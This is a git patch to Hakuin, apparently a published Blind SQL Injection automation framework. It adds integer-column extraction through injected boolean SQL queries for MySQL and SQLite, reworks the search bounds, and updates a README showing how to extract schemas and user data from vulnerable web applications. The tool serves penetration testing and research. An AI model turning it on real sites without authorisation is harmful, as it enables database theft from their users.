From dc0bc226823135dc6af44fa30cd7b6be2f1f6b78 Mon Sep 17 00:00:00 2001 From: Jakub Pruzinec Date: Sun, 29 Oct 2023 17:05:38 +0800 Subject: [PATCH] integer columns extraction, readme update, logo background --- README.md | 46 ++++++++++++++++++-------------- hakuin/Extractor.py | 47 ++++++++++++++++++++++++++++----- hakuin/collectors.py | 19 +++++++++++++- hakuin/dbms/MySQL.py | 10 +++++++ hakuin/dbms/SQLite.py | 8 ++++++ hakuin/search_algorithms.py | 51 +++++++++++++++++++++++------------- logo.png | Bin 12625 -> 24753 bytes tests/dbs/data_types.sqlite | Bin 0 -> 8192 bytes tests/test_data_types.py | 28 ++++++++++++++++++++ tests/test_large_content.py | 4 +-- tests/test_large_schema.py | 2 +- tests/test_online.py | 3 ++- tests/test_unicode.py | 2 +- 13 files changed, 169 insertions(+), 51 deletions(-) create mode 100644 tests/dbs/data_types.sqlite create mode 100644 tests/test_data_types.py diff --git a/README.md b/README.md index 9f8d51f..545565d 100644 --- a/README.md +++ b/README.md @@ -2,13 +2,14 @@

-Hakuin is a Blind SQL Injection (BSQLI) inference optimization and automation framework written in Python 3. It abstract away the inference logic and allows users to easily and efficiently extract textual data in databases (DB) from vulnerable web applications. To speed up the process, Hakuin uses pre-trained language models for DB schemas and adaptive language models in combination with opportunistic string guessing for DB content. +Hakuin is a Blind SQL Injection (BSQLI) optimization and automation framework written in Python 3. It abstract away the inference logic and allows users to easily and efficiently extract databases (DB) from vulnerable web applications. To speed up the process, Hakuin uses pre-trained language models for DB schemas and adaptive language models in combination with opportunistic string guessing for textual DB content. -Hakuin been presented at academic and industrial conferences: -- [IEEE Workshop on Offsensive Technology (WOOT)](https://wootconference.org/papers/woot23-paper17.pdf), 2023 +Hakuin has been presented at esteemed academic and industrial conferences: +- [BlackHat MEA, Riyadh](https://blackhatmea.com/session/hakuin-injecting-brain-blind-sql-injection), 2023 - [Hack in the Box, Phuket](https://conference.hitb.org/hitbsecconf2023hkt/session/hakuin-injecting-brains-into-blind-sql-injection/), 2023 +- [IEEE S&P Workshop on Offsensive Technology (WOOT)](https://wootconference.org/papers/woot23-paper17.pdf), 2023 -Also, make sure to read our [paper](https://github.com/pruzko/hakuin/blob/main/publications/Hakuin_WOOT_23.pdf) or see the [slides](https://github.com/pruzko/hakuin/blob/main/publications/Hakuin_HITB_23.pdf). +More information can be found in our [paper](https://github.com/pruzko/hakuin/blob/main/publications/Hakuin_WOOT_23.pdf) and [slides](https://github.com/pruzko/hakuin/blob/main/publications/Hakuin_HITB_23.pdf). ## Installation @@ -48,9 +49,9 @@ class ContentRequester(Requester): return 'found' in r.content.decode() ``` -To start infering data, use the `Extractor` class. It requires a `DBMS` object to contruct queries and a `Requester` object to inject them. Currently, Hakuin supports SQLite and MySQL DBMSs, but will soon include more options. If you wish to support another DBMS, implement the `DBMS` interface defined in `hakuin/dbms/DBMS.py`. +To start extracting data, use the `Extractor` class. It requires a `DBMS` object to contruct queries and a `Requester` object to inject them. Currently, Hakuin supports SQLite and MySQL DBMSs, but will soon include more options. If you wish to support another DBMS, implement the `DBMS` interface defined in `hakuin/dbms/DBMS.py`. -##### Example 1 - Inferring SQLite DBs +##### Example 1 - Extracting SQLite DBs ```python from hakuin.dbms import SQLite from hakuin import Extractor, Requester @@ -58,43 +59,43 @@ from hakuin import Extractor, Requester class StatusRequester(Requester): ... -exf = Extractor(requester=StatusRequester(), dbms=SQLite()) +ext = Extractor(requester=StatusRequester(), dbms=SQLite()) ``` -##### Example 2 - Inferring MySQL DBs +##### Example 2 - Extracting MySQL DBs ```python from hakuin.dbms import MySQL ... -exf = Extractor(requester=StatusRequester(), dbms=MySQL()) +ext = Extractor(requester=StatusRequester(), dbms=MySQL()) ``` -Now that eveything is set, you can start inferring DB schemas. +Now that eveything is set, you can start extracting DB schemas. -##### Example 1 - Inferring DB Schemas +##### Example 1 - Extracting DB Schemas ```python # strategy: # 'binary': Use binary search # 'model': Use pre-trained models -schema = exf.extract_schema(strategy='model') +schema = ext.extract_schema(strategy='model') ``` -##### Example 2 - Inferring DB Schemas with Metadata +##### Example 2 - Extracting DB Schemas with Metadata ```python # metadata: # True: Detect column settings (data type, nullable, primary key) # False: Pass -schema = exf.extract_schema(strategy='model', metadata=True) +schema = ext.extract_schema(strategy='model', metadata=True) ``` -##### Example 3 - Inferring only Table/Column Names +##### Example 3 - Extracting only Table/Column Names ```python -tables = exf.extract_table_names(strategy='model') -columns = exf.extract_column_names(table='users', strategy='model') +tables = ext.extract_table_names(strategy='model') +columns = ext.extract_column_names(table='users', strategy='model') ``` Once you know the schema, you can extract the actual content. -##### Example 1 - Inferring Textual Columns +##### Example 1 - Extracting Textual Columns ```python # strategy: # 'binary': Use binary search @@ -102,7 +103,12 @@ Once you know the schema, you can extract the actual content. # 'unigram': Use unigram model # 'dynamic': Dynamically identify the best strategy. This setting # also enables opportunistic guessing. -res = exfiltrate_text_data(table='users', column='address', strategy='dynamic'): +res = ext.extract_column_text(table='users', column='address', strategy='dynamic'): +``` + +##### Example 2 - Extracting Integer Columns +```python +res = ext.extract_column_int(table='users', column='id'): ``` More examples can be found in the `tests` directory. @@ -110,7 +116,7 @@ More examples can be found in the `tests` directory. ## For Researchers -This repository is maintained to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the [frozen version](https://zenodo.org/record/7804243) as it contains the original code, experiment scripts, and an instruction manual for reproducing the results. +This repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the [frozen version](https://zenodo.org/record/7804243) as it contains the original code, experiment scripts, and an instruction manual for reproducing the results. #### Cite Hakuin diff --git a/hakuin/Extractor.py b/hakuin/Extractor.py index 8f81a5a..df97a53 100644 --- a/hakuin/Extractor.py +++ b/hakuin/Extractor.py @@ -25,7 +25,7 @@ class Extractor: models with Huffman trees Returns: - list: List of extracted table names + list: list of extracted table names ''' allowed = ['binary', 'model'] assert strategy in allowed, f'Invalid strategy: {strategy} not in {allowed}' @@ -35,8 +35,10 @@ class Extractor: n_rows = search_alg.IntExponentialBinarySearch( requester=self.requester, query_cb=self.dbms.TablesQueries.rows_count, + lower=0, upper=8, - find_range=True, + find_lower=False, + find_upper=True, ).run(ctx) if strategy == 'binary': @@ -61,7 +63,7 @@ class Extractor: models with Huffman trees Returns: - list: List of extracted column names + list: list of extracted column names ''' allowed = ['binary', 'model'] assert strategy in allowed, f'Invalid strategy: {strategy} not in {allowed}' @@ -71,8 +73,10 @@ class Extractor: n_rows = search_alg.IntExponentialBinarySearch( requester=self.requester, query_cb=self.dbms.ColumnsQueries.rows_count, + lower=0, upper=8, - find_range=True, + find_lower=False, + find_upper=True, ).run(ctx) if strategy == 'binary': @@ -137,7 +141,7 @@ class Extractor: return schema - def extract_column(self, table, column, strategy='dynamic', charset=None, n_rows_guess=128): + def extract_column_text(self, table, column, strategy='dynamic', charset=None, n_rows_guess=128): '''Extracts text column. Params: @@ -152,7 +156,7 @@ class Extractor: n_rows_guess (int|None): approximate number of rows when 'n_rows' is not set Returns: - list: List of strings in the column + list: list of strings in the column ''' allowed = ['binary', 'unigram', 'fivegram', 'dynamic'] assert strategy in allowed, f'Invalid strategy: {strategy} not in {allowed}' @@ -161,8 +165,10 @@ class Extractor: n_rows = search_alg.IntExponentialBinarySearch( requester=self.requester, query_cb=self.dbms.RowsQueries.rows_count, + lower=0, upper=n_rows_guess, - find_range=True, + find_lower=False, + find_upper=True, ).run(ctx) if strategy == 'binary': @@ -185,3 +191,30 @@ class Extractor: queries=self.dbms.RowsQueries, charset=charset, ).run(ctx, n_rows) + + + def extract_column_int(self, table, column, n_rows_guess=128): + '''Extracts text column. + + Params: + table (str): table name + column (str): column name + n_rows_guess (int|None): approximate number of rows when 'n_rows' is not set + + Returns: + list: list of integers in the column + ''' + ctx = search_alg.Context(table, column, None, None) + n_rows = search_alg.IntExponentialBinarySearch( + requester=self.requester, + query_cb=self.dbms.RowsQueries.rows_count, + lower=0, + upper=n_rows_guess, + find_lower=False, + find_upper=True, + ).run(ctx) + + return collect.IntCollector( + requester=self.requester, + queries=self.dbms.RowsQueries, + ).run(ctx, n_rows) diff --git a/hakuin/collectors.py b/hakuin/collectors.py index 6edb1cb..288a9be 100644 --- a/hakuin/collectors.py +++ b/hakuin/collectors.py @@ -60,6 +60,22 @@ class Collector(metaclass=ABCMeta): raise NotImplementedError() +class IntCollector(Collector): + '''Collector for integer columns''' + def __init__(self, requester, queries): + super().__init__(requester, queries) + + + def collect_row(self, ctx): + return IntExponentialBinarySearch( + requester=self.requester, + query_cb=self.queries.int, + lower=0, + upper=128, + find_lower=True, + find_upper=True, + ).run(ctx) + class TextCollector(Collector): '''Collector for text columns.''' @@ -218,7 +234,8 @@ class BinaryTextCollector(TextCollector): query_cb=self.queries.char_unicode, lower=ASCII_MAX + 1, upper=UNICODE_MAX + 1, - find_range=False, + find_lower=False, + find_upper=False, correct=correct_ord, ) res = search_alg.run(ctx) diff --git a/hakuin/dbms/MySQL.py b/hakuin/dbms/MySQL.py index 012f975..0e0138c 100644 --- a/hakuin/dbms/MySQL.py +++ b/hakuin/dbms/MySQL.py @@ -293,6 +293,16 @@ class MySQLRowsQueries(UniformQueries): return self.normalize(query) + def int(self, ctx, n): + query = f''' + SELECT {MySQL.escape(ctx.column)} < {n} + FROM {MySQL.escape(ctx.table)} + LIMIT 1 + OFFSET {ctx.row} + ''' + return self.normalize(query) + + class MySQL(DBMS): DATA_TYPES = [ diff --git a/hakuin/dbms/SQLite.py b/hakuin/dbms/SQLite.py index cb41a03..298dd83 100644 --- a/hakuin/dbms/SQLite.py +++ b/hakuin/dbms/SQLite.py @@ -278,6 +278,14 @@ class SQLiteRowsQueries(UniformQueries): return self.normalize(query) + def int(self, ctx, n): + query = f''' + SELECT {SQLite.escape(ctx.column)} < {n} + FROM {SQLite.escape(ctx.table)} + LIMIT 1 + OFFSET {ctx.row} + ''' + return self.normalize(query) diff --git a/hakuin/search_algorithms.py b/hakuin/search_algorithms.py index 3a73fb9..732a0ba 100644 --- a/hakuin/search_algorithms.py +++ b/hakuin/search_algorithms.py @@ -44,7 +44,7 @@ class SearchAlgorithm(metaclass=ABCMeta): class IntExponentialBinarySearch(SearchAlgorithm): '''Exponential and binary search for integers.''' - def __init__(self, requester, query_cb, lower=0, upper=16, find_range=True, correct=None): + def __init__(self, requester, query_cb, lower=0, upper=16, find_lower=False, find_upper=True, correct=None): '''Constructor. Params: @@ -52,13 +52,15 @@ class IntExponentialBinarySearch(SearchAlgorithm): query_cb (function): query construction function lower (int): lower bound of search range upper (int): upper bound of search range - find_range (bool): exponentially expands range until the correct value is within + find_lower (bool): exponentially expands the lower bound until the correct value is within + find_upper (bool): exponentially expands the upper bound until the correct value is within correct (int|None): correct value. If provided, the search is emulated ''' super().__init__(requester, query_cb) self.lower = lower self.upper = upper - self.find_range = find_range + self.find_lower = find_lower + self.find_upper = find_upper self.correct = correct self.n_queries = 0 @@ -74,29 +76,42 @@ class IntExponentialBinarySearch(SearchAlgorithm): ''' self.n_queries = 0 - if self.find_range: - lower, upper = self._find_range(ctx, lower=self.lower, upper=self.upper) - else: - lower, upper = self.lower, self.upper + if self.find_lower: + self._find_lower(ctx, self.upper - self.lower) + if self.find_upper: + self._find_upper(ctx, self.upper - self.lower) - return self._search(ctx, lower, upper) + return self._search(ctx, self.lower, self.upper) - def _find_range(self, ctx, lower, upper): - '''Exponentially expands the search range until the correct value is within. + def _find_lower(self, ctx, step): + '''Exponentially expands the lower bound until the correct value is within. Params: ctx (Context): extraction context - lower (int): lower bound - upper (int): upper bound - - Returns: - int: correct upper bound + step (int): initial step ''' - if self._query(ctx, upper): - return lower, upper + if not self._query(ctx, self.lower): + return - return self._find_range(ctx, upper, upper * 2) + self.upper = self.lower + self.lower -= step + self._find_lower(ctx, step * 2) + + + def _find_upper(self, ctx, step): + '''Exponentially expands the upper bound until the correct value is within. + + Params: + ctx (Context): extraction context + step (int): initial step + ''' + if self._query(ctx, self.upper): + return + + self.lower = self.upper + self.upper += step + self._find_upper(ctx, step * 2) def _search(self, ctx, lower, upper): diff --git a/logo.png b/logo.png index 3c1e6af092da834d34e72b09aff5a69eddda658f..fc3c6dbb5ab03b5add86d6207ef6dc3cb240d9f3 100644 GIT binary patch literal 24753 zcmXtAbzD?k*PS5*1PM`48tGQLK}3-5PNlmW2}Pw*N)ZqQhYpc$L?x9jX$fg0r0d(` z_q>1b_gf#Bdp{~)We>8`;qZ+hO>_tbK+_Vjt^ZiVpi@!_^}cJQ!x=xW97;%<|=DNcbv z&><9L?`r#|txx#{Ub}yMxc!!jk)Aw^kMqSO-3z)b)-2;Xx;(nbaGXfoNKR9_RXwse zovf@UB{(ISStT5qSy_|rc_Fu+u)dhQ^XoZ6fex?p`_e%>LJC);fMv=gVZpE2w3k*f zr@o-B?%m4DCVSjf8C?2AO=)V>&~?T95ygCK#e8PPd#&{(ICno`FXk~dQpLA`cSZr^}bk^;Q z4v7rzFMc|#WkO|4UNx)Gh6eH9-&4LgRZqzU2A&$=-DA6NYs)G$?aRQSSF%75jG+EL z@&K1UEIXvGWw)h-kFSNN`Ly*Zk>rCPZv}c4C=}UbWMpm#yV9i!I*IODw1<>QV`nG9 zd;g-!oa!u$nbgV-R#hb&%vD<&P~zdbZO4k*@)iHPIh88lFp`!c9N6MHEB;gm{e^3E za|?|zl{T^G`T6;$GZ$yH!v#7V{BEqM<)7s&&1d_RM@5Mlg<-^5(HM_Ha6*RontUON190UmvrD+V!6G?Fk~War{=J`SEs8P~35 zIhUtbN<$mCg_O+Txp*AQNH=0W97Zf7jLgGpAh1jm+2Jv)2t04WR?mk#NB`GJ(j!o~T?pOx`Shq4Hm@#y#WUVI9^I6sxrJ0tMq z*W;rPBaRjJi?bkbJ^Zc_{4Mgj=ju@Y*w^=oSw_{)HceQ*UCy<=aFG?U`mY5<^8s8m z-xf3JIjCY7k?l6$rko)u5j-c1RK}Q#)=`C(I15ofjhlbBw_|2+&wlSY0X;u|#n@L8 zQqnIMkXc_O3Fg7;r@Cbm-vK)U6$A%(mWQ| z(N_^i$18@;j*gDzlyB0zGCtf841bYXTg`XhdHoJ=_FB{RKiDij^U#^7 zax$p2*E#=MhEwxJdkVd_Sj#x;;vQdndwQ(b$I4`7Wo?;a$Hw%TRns1rnog&rZex_v z^I%@4m;H&skNmyVY<&3Z1+DPK>277I=w-iL3klc!{5o_*A&6sxrwhu1N<`fka1W*f zT*|bHG9up!IPiM>{(c(4Kz^aJgKKg9+P@ha>@0j*9(cAlI+U*^e^M}?lj=MN8~I46 zoXpmyz!~xb6+*l1f;aQvJ4x`L>Bh;Rla29+Z0jFy1Gm4C!-Q-n=<&bLS!D?$Zbi1J zv^4R_2WIrP%W{R=5yLJAaQ8|?M8tS!wncla<5Zo%g|#e)dVnP?zJ1^Tk{>^evZb)?}Qu1&X zQ;7%LH27?fO5FGMg|%jg>i@sHbqJ1cc%X+ql1joq(a5E7cpzpcf|O-$_h`pu)gd!7 zUljeQo9dW{IhlpA8Nuf%@C-YaI4Bk6-W%hmshtu>2}$4IaX_lU?!ysY5^#k$`Wiu+ zum1iC%C9JvS}ZwOOYGHNCk$u33d?L6fqW)8x z8p_oeK@IMhc3-%Z%e1)tNKt;ec%A2pjJ>`6`43AZ(VKz{*u<$w`j+`?w~>!@b;%gy zqWglX8Tk1VZQl9iWD0c&VUXV_`~X)4AR}5t3i*+alQpjdoyKj=ytE5-WBhh|42sFj zDTpl!Vj+ecFL~nZU*n$(hK(sJFYmw-$5B%A#H8MPaYni7)RGBa4EJ29D+8nFD4k7A zEcF$GygdtHT>BTu8TfBw8L^km|GUo+b`a-sfyGi!x-slBh!4di_P|}0(9#G_r2U(M z?0@5a99r>2?i8wBd{+_&JS>X4E*xE9X1?d&&uCR1)_@3z*=nBH_P!gzASCn}asA#yEmpTx^Ux~3NM9#W-pb8~~N-k7Q4gz@(6e@`1F z+fNvt`xeF3cw?-}$*9Wlr)FQyZ$#36&taWo<0u{N9#oT3v9-EZM|Z{Z+=VZ zHY>$D-=fILEAq878~;CkNY3wPylZJ@To++hd*^6(ya%E4DlN^pFQ-X<`VX;8_$Opu zSn&O34|Ej5_OxRm^x7erg7p7H@PJ1Bv$_B}F7RwGJF?nV%ryA%EoB5ZdC!H1hnw## zbYeSo;fP!1MZ#jPUoys_Vzd2v@jKNePdh)}dnZq)kgWSP509;uK?_353!Oe0P7lP| z(i(V$Pc%O-!MjAj{@PgRFSC&M{=>c1bizG*OKb1ng>=X_Mt!y!uU?V#oyB70Fe3Hw zhXk}$psspj7-CLbrr3Z)uGW1ZmZO{k6N`|<%u*TFLa$&5Qra43t$HTNVI@c&a;kov zr`^L&i>t(s3f`fk4kHYM=Q{rYj(c;qRd+I!j_k}Iexa{&R@opW%SjV#S>4TkOm`r5 zetyvGvG5?2$jJ)x?1~Qh=IJ4qT4=Fj_F*~S!*`Qil9zt}Cab8u*RuG$0R44UX?b%q zczT+M2WK(G4XAI;7iWK-2x6a8?tFUwZ&h1}XVaGK)u#S@`F4Iu+@0jInR<= zm+z0>@p$KZVx}CnA9_1FX4@!TD*h(uKz13cakGG{0JFX?KwpJVtVEwc?>tpEymJ=Y z&C{HQi9>iTSv&{%>v;h?421h|l!M2W_vKfr_o~yJQf_my=xLa}qpgFU#?Qg! z4J}H~^0jiW($JKo3(MTQhi@c8eClB>VgLUVg*6!+oHJ1_@1GIZP80BbKu2C#nV{UJ zmz&dX0qH|okOSMQel|nlfbH@d1tHj=5UGZWGy?WRvrr4zIQ=X!g>DoSpszw)-TFBxOVfwUS3$eKfABj`j%n`HEW|5~ z0TzTo6ZH+K>!1S>`=WvoyD72E^_Pqi-wHdb=KOd~#Cu);VJE{)TgSWtbRc4QX1=sj zfVgsN5Qg%aGw-JMq@Rj@Kq9PrYQ?Rjj;8m}%P>9F^!=wQL@dnYr!4I#wfwK`OmDDGUl zn4FdK2L2k;rmGp{F<@Ex@ z8j4DN8P$3)6RhUwScF=*V>j?&F20@M-y1|iJ(+kGv(uf-1-ET&ZS}o4JMbzIhlFf^ zOD~Iud?@`s`)mNE1ckp}m4<|bB=G!b=^Im=NXHcqh?~Zc$V0Pnj=p#%B~GR|z$#>% z`s&6zZ{ivl(E}qVCJHngV?|fAtgNhx1bOt1D|>X`t#clSZd^MZf+~?%o%*oyqec(_ zR#`bYdzLtWexG1#!5A-FK9c?Skh+$fR=J~}X~6|+A?*LV06+8$Epg8(HLt+e7wxlOIOxaX%IyJyR9=9yWjdmH5#wLMhe(p?^mFi|KFk> zXm+qaLA)TM&4IXvdJUgpc*|Rh)vk1h-eA{MKM1> z`7fZzFEhqjv@qqYa=}7ldB(SU^h)HWi`x(7ea=yNR>I|#BR(stwTB)&MhkI^(GV-T zhn(N`t%#Sev>(=Q4r)~0LDcl>e}j0#BCM&eS-9gc!U@q17X${17wVOcsL-hW_k8Jj zn?lIj_B{6~$;sQ*q|QF1ice#Tx3Tkt5#PGqVjfw$b9l6rQAr+Fp#B~M!f8~6raR>F z|2{W?&G92uNGn_JO7Q{-1x45Q6h5zncEQYovMzXkTmn}cw@wBoruzYg-TZbqa-{0TV{(?vrevR zdPPFJ)Wwn7)B@7AG`|jgbK<`ATgmUSxBMF?edlAwJLj8DHp}D1P5J-(Ha8}3B;_yp zSSkRQkcP+_rf<1qr>#)Z4QZdD=LTVmPsP2zGy9FaGC_W{#H6#Q2WG}0zVz4?{!R z(Aj4viL>h#bwpn0C}NC@_}?uAGRH)Q;%FokfrzP$m-qD*_E_qvj2CZ`|6OxcCVT)h z59^xP3x6O=rs})~-(@YF9n4h6i^sp(`wnRQFXB(YJXF>dqkzV z+>uJjk%jGw--4+;a&v0wdrEdA)duu{59H*^%HO5gA&ISvVCiJ^F~v*y>MkIMe{FAf zV2T5ZBOyNi5tHA#G}-fiqxOAZ<2ln9P`zJI1DLkRsJiFhsLYE<{(XH??oJ^d29=n1 zbQDjM{)tH(8eJ&RAfCnuJb|+35aPgQEpRsk3S&w0x&MZbM2=5MTBjp7Ne3FZv?rUKyn3e3SYr-JS55m_>k!#csmk3Ho zm;~7G144yno1?JPf_6*DA_hH=MCV7v*2~fBetv#`m;3LXIT1vhwz z%#`SgqY}{+^P7BpFr^EjrLVPtUO^1=#LbTL&H6u3WH?G2;?vTo;Kppk_63kwWNa~< zZ7iYC9Py&4fG`v{+@K545YTs1rq2Xwp?V*Vobey zJn%sQHuqbH5_%pUo|jneuk-iO(~GYYP=@si(ribFK;@!>s4Ue~XGgY=!bwVLvngQewLT75MNP=0!aXTU~Zt5=%)*-D-h!M$Hb=M7c5op8RMwc=Vow25Sg9 z@k+VrGzUE_Ea9=SBZ@S5cz8gKRDS5hw0zGB8JSy}lPt%2rrw7Kz+b;2 z&BKQeL%9ibh*L^TaOt05pSOEe(ng88&0*=8`l0q8$Bmi>{3uyK5<3*6!`K!u8y;F= z(TaLPk6JSyE4HpoW7=Zz@1r!NZ$}rdv(?*pLTb^M>FG{37)XN>U0nL_m?fWE=j(KH z*c6nN83hD}Hy4oV-TF^~Yg4~$dx>g zc6&HF$7yt@EQ&}VGdCbb=P&k4zIBb$yn6KtS{0riRFub=c@aH)D30vG++U0B(RF#N zmM%J6tF2K(m@^K2VHftPhp`=x!rJap&C&1F%7k`E_kWBdS;sXOiamj0yhQxunMesD zK0cna(e7PB!u$j8KK@DV38=U!mlzFh#*lOBXFeWm04$=~Xy^P5FS9&<|GG>#FJ8^{ zKGWmgE|uMnA8#jf8qDeIezc`k@72GD4+PtjV4cqvbqpVeQ-3EgtGIJgV%f6v^=Svd zXDJ9q47NIkQuwHP(ml$;AT#V7gCf-)YB=j~2&;KglE!G4ibv`Qzt4bkW^w*LxlFhw z-UX>1UvYGm?lga?aqTA)hqq!}q{|lTP&Q@lFdH1L5>-@HN1E(tu3l|j|5=`Xb2I%H zHjRMyZ9qj8i01}3P0BxgLg(d*;5z@~mE823zte^A!-c$z0l4HLg)AQG+zo*q5KtFj zviUuK>YGz0pYUuSt{%b@)G>}RlYgrPuN7AVPKTaXI8Z;Jztub$`B%s*4Sfd$W|{9| znfs#Rty{MMIC*;VH(#9BGi2A&OPXU4Td!wAgxR%V9=cp}n5cH41u#6)bbL7blql`S z*QcMaLWgYuw5uF~W|pmx!5R`^x|q+1Dhlk4lja~9RK@k7zH)TTX}2Q$vhE3Egli}^W+m3OcP)9Z zkG*e;qb-HXnFGyWh19`nVQB#&b(#s&$kJ{;j3v)&Z6qIhz5KJ2gTi|+2-B}iX8id( zBQGac0IXL&a9f3SUTXzV`tmPbp~$Opnkax~n?0_*>dpl{O8eUF(}iL5K2wzrm{sF2 zdk=-G75Jq}+Cd4vO9VG&TVDH*H3kR`=BQY7yri#inR&OoY};+c!8tcKw>(lz*(-5C z#i3h7$J0AN`r}#3LfbYp)f32vEjLa%Hte>K0)aC&2rw-?{a3vP2RCj6ia>Um2|D2d za`pp=5LHb0>3OD&qF-JR*{lqp4g<&6Y_Bg^EyaEWRv%$|nX{UAz-g*330g30@ntzV zxlcgF#S>H^(EBl(N+g~_z`o`!|K%vyF0T?3Wewjh8p-EId(9F90&Uzf^AabtT#0qA zt*wowm3jx_!qqDkL=u11Gch?=R#qASVDLMR_4&54az3)KxGCn%32+qeLuA~Te5f?G;8zfvD98oY}4JhG8mxcj<8YohMVuMyy^72^c@#y=YF5{t#vgQVti8;y>QT%j#X4Ptr3j+bEdVMq_WolbPmVsmI5E??^6-kvNT4{OXme%t)Lj z;wL;^h71uB;@sjr)xSD4`}l{z=$NGI^RO^mmBA*DCDql@QkTF?A6}TA6ak0iP5L9! zJSuZ?DDVzIT3jW|H8uNaj)aChmf)=@&lMUG_b>>x8?>`i;eCDTrU4rQQ}_624b)^o znVhws<>82!2ZSWPKV~t$t7i}c*AyQ}qPdfK%=(FKnAPQ`ki&w-9)L)qA-J5=YlyL? z$70l?p01uR*C%T|$`%g+qr?#X&YAm+Lpvm4ocx;wa`_`9SLjR;BVkCb$C75PyHz_* z2N39F280>CHr-;(C=rMclt+hqNGw?$0K031HPpgrIC?l2754mj9j`FAam~k$PiQfx z4QIfr4P~}^30GD<%O^s`q^RW3Yb0zdHaq#irkCSLI9na0n^pP08AxlNf zgaA3hNf@Gup5H$!2|nC{)%TBxbgHary8%)<#9EFkndY83p*JgYJvZ~NsE=F ziQXdjlPiHKXzRWajYeURjywquRPOK5)60s4T__Z;=qAV;8d9W-dhtpk-bJ2l)|Ynd zfK1Zwd-JIPs0LZPImgIM>t7NIxEdvhJ1suC3GEZz#)z?_geBTTf0v6YP-a1SDq{+6_$Y?IXHp$)^ViPEjC>28e&J? zq4AwXraQkR_N<-Mnsj~2b#etC zKO0guS_f?SJD|j=|1ktIH+kJ30RJOJ24A3+dH}TEQ}*|hZtc{fKVIWk46S=Z4@r0t zK=a2g?js8|1R$t66trWWkG5t%>lU^HJ11XkSjoA;0_fkg(SN%%_$&&T|AdqjJHKWd zG|l5P>Gs0H0i_>--fcS6p&}#xnZ#K`7^Vc4t{wrJU*o?ry*9r3;Cg3g=PzLGEc-I= zR@nAG0T_wiO3+$BqUNeu$w~G7oniw!h6hxP)Xh2N#{$%H{Q2pAZcQ^i-~MF{Z{*p>nkRHE z=nmY{^27EAbAgdkGndMOyX|Xxy!Jz^*&D)+W4EW~rmvfiUX#J%%j6>NBl_FuzsLKI z03)I^fvdOUY6VnDmm+Eg1_mJI;#BWcBOfBYHRxq;V_Xew#<*D%bodKrK7y{VW^cp@ zGvB=rjYncC7cb6cE>_5PdqPC>iEkYuG+NX`2@T`Kcfz-2iEW`Ti6|;6k}jl4qzT-* z%iv_t=c%Y0jxwJlxZ=xnGD~g-YlhU+wv=l!+ni}OdkoJM4IWo#^NRZNjYLNHif_(`8DCgzhf~EYMz_6Tz1J0ZPgMQ= z>t2a;j90sq8htgxT>m5!ZjShit$0dRIJ&k7CJTXgxQbWbIt0CDZ$3Zf00y+AdJ!su zXO!>#5EDJzhgbUugzZPo_fGyalai8Jh?8JZymc^66fJGoiCl9M39Q+7kj=mz4}M1c z9FY|A!<$GKU5ud*XiK=8xeeXu_!MJXN{wiAT-?&(_Ppq~Zp_t7ldql;Z(_)V{8YW7 z4-!T&9%LN!?AO%P@NPeP800Wo;w4dbanO7*%r%`5dSFc-Rv2PKO;w0EL@Pl0Wm(%{ z#1Hsw`$8U{?2AmvmQV^hzA4-o%a$ja%5rMIV9X@G^#(cm=!=R6HGGr_3}73n3>_LY zXliOs+A@y%B&u*g$@!>l`X{Sv93Z}^YCbA z(OK~IJWbHyL%oT4XAz8D`lU=y`f*bR34_#x1rR&{v1R%+r@ zt|oaTTW#xtGxYfxaSvh@Q$CF{_Hwn)AJeO(q%lOtsu|Ex3)wcN^gZeU9ICKPu{bjH6a7{~JZ%)-y(k@Shqg^7vhs{t4yS8XjqPOQH zw3)_k->&~%9ggbHmM;gjL@$WBelgj|*dgQVS6L31!|IB$A26SYciyf9>;q^LZv)8; z$po<8d_?945*nJG%2Cs9(6J(^ZUdEYi<`w5Xh4ZClE5Zp|iM5c&(6%;y^TmPV# z%96n=BEt+s!rRP@v^8AVk z*U1xXe9tKF*Kh;;3pKrDX4kh;!A)zJ5$*F2ftNH~1PX}qwTXAicBt5!TfDsSfPIn= zr^8eA=oH!B1)uv(Wi_J0U=L3ZO5Ee)<*nK65!?0^m%H>CD#B*di8H{ID6Td5mhVm{ zi_)GbgR1OI)8pP+g;EYazQMhH*ng$Y+m`u8^pjY|&wfw*4mj9E0o~e$BaOOtokN$A zjZI-wO|YwP_V6i9uwD| zYQr^KTBvBC=2O(WUv2{iVCY<7D-k+EO13r7H6X90T$K?fdXwcLM+2(#NU;$m?bhWe z=zu|W$`;t&0CiCTgx%=ZB5&qsFAiUfXc?k8f-9$byV^1XOPn^+QE;0;<~ zCic6kgqw@t3MKuP{tPXQKv{3YiH-jXn7$L{CW_h(=rmclQOs+-tSu1W>3Gx}BC80P z!amZ@B9oWXo;jCDE?Ev08|kgF761MFmse})6NQ-fdf!SNLLia2)ih+}vIK14*zM1) zJ?L4l;{mhD4I$^W?H$EyRQTlFLn?GTtfio^vtyn_ilON{?Hub$iR-XUfhQ3&%a$<~FDz1mAU2#MN+@#@*6#vzh$$pJniG5L&PudW#(59 z*I0pOw&N9c-<*S?s_a-d$N?^r$>qQd%mJki^D9Pul-L9?UfRxPIh41}Lq<-p!6x=z z=Go=s>WdL07rPi=Acn!8hg}i3b9J~-Z`59C7KbT}_2%sT^zx02i__fg&z~&`Zrlz5 zm&K!r6>tdffR>S5<@At{1p$zdG_jlp=N_~u_9k~QD3ge9xk}&59MiZ1wxreJLP}aH z<#yC-)2{QglPKyGbho86(FoL>=cR`74=7ZBxsBSq)75CVt=YTj%#+z+#G#l?BO-$k z!KCv~Wj@M6hDAG4%A5p2INxwGtl17o2Ff0qP3s1gCtQNglX-)IKNWFFZe-SPN)Hzs z3BlKH-v_)2I@aT|4MEpg>EexHu)iIsUwbeeEhXlegA!rW#G@}lwjzov6%W>bGVoMh zCx+R#25#?um5H@AGnZintG5v}us{MV6Z&JvGwxi>x6=j>IaR$?#C>>WD|7SaKKLDO z&=Nlpn46!EqAo&@WH0O2&SJM0k;40~d5aP3Z;&QEQ;Q%!EMpcR?dojChV{&x0;O?( zhXZ&)yAD2GvH9^VN^w-p(bd!`n?fM+7dGw;j{v&}p{ zNZQ)*Ge?eHBe;0w>Rn0`?IQXfSHF! z?Ldt~%z%)-i@-c&*yR%xMZR;VPZjr}2y}k`&RL-Xki>Y|hKNeoe2@5g*V-OhJDuNn zc#G3GR2%~LK4t;p8_#KaobqcD{l9CYrG0y{5X7=z_6^N2YVa)^zNh^GxNiyGU^Dne71C*DsDEI;gD 